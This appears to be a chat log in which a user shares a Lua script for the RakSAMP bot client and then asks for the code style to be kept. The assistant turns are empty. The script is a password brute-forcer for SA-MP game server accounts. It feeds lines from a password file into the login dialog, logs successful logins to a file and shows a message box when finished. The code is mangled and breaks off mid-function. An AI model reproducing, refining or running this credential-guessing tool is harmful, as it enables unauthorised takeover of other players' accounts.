-- ------------------------------------ -- ------------------------------------ -- --------------------------…
- User
local se = require"samp.events"
-- github.com/Brunoo16/samp-packet-list/wiki/RPC-List#dialogresponse---id-62 local function SendDialogResponse(wDialogID, bButtonID, wListBoxItem, szInputResp) wListBoxItem = wListBoxItem or 65535 szInputResp = szInputResp or ""
local respLen = #szInputResp local bs = bitStream.new()
bs:resetWritePointer() bs:writeInt16(wDialogID) -- INT16 wDialogID bs:writeUInt8(bButtonID) -- UINT8 bResponse bs:writeUInt16(wListBoxItem) -- INT16 wListItem bs:writeUInt8(respLen) -- UINT8 bTextLength bs:writeString(szInputResp) -- char[] Text
bs:sendRPC(62) --RPC_DialogResponse end
local function loadFileLines(filename) local lines = {} -- Таблица для хранения строк local file = io.open(filename, "r") -- Открываем файл в режиме чтения if not file then return nil, "Не удается открыть файл" end
codefor line in file:lines() do -- Читаем файл по строкам table.insert(lines, line) -- Сохраняем строки в таблицу end file:close() -- Закрываем файл return lines -- Возвращаем таблицу со строкамиend
-- Загрузка строк из файла local filename = "C:/Users/dolbaeb/Desktop/RakSAMP Lite/scripts/passwords.txt" local lines, err = loadFileLines(filename)
if not lines then print(err) -- Выводим ошибку, если файл не удалось открыть return end
local cmd = [[powershell -Command "Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('Peribor zakonchen!', 'USPESH', [System.Windows.MessageBoxButton]::OK, [System.Windows.MessageBoxImage]::Information)"]]
local passwordId = 1
function se.onShowDialog(dialogId, style, title, button1, button2, text) -- enter local isEnter = string.find(text, "{FFFFFF}1. Общее положение") if isEnter then SendDialogResponse(dialogId, 1, -1, '') return false end
-- password local isPassword = string.find(text, "{FFFFFF}Вы подключились") if isPassword then -- Здесь мы выбираем строку из загруженного файла -- Например, мы можем использовать строку с номером passwordId if passwordId <= #lines then print(lines[passwordId]) SendDialogResponse(dialogId, 1, 0, lines[passwordId]) else os.execute(cmd) end
codepasswordId = passwordId + 1 return falseend end
function se.onServerMessage(color, text) if text:find("Официальный сайт сервера") then local str = "successful! %s with passwordId %d±2(%s) | %d \n" file = io.open("C:/Users/dolbaeb/Desktop/RakSAMP Lite/scripts/successful.txt", "a")
- Assistant
- User
сохрани стиль с трехстрочными комментариями разделяющими код на блоки, двухпробельными табуляциями
- Assistant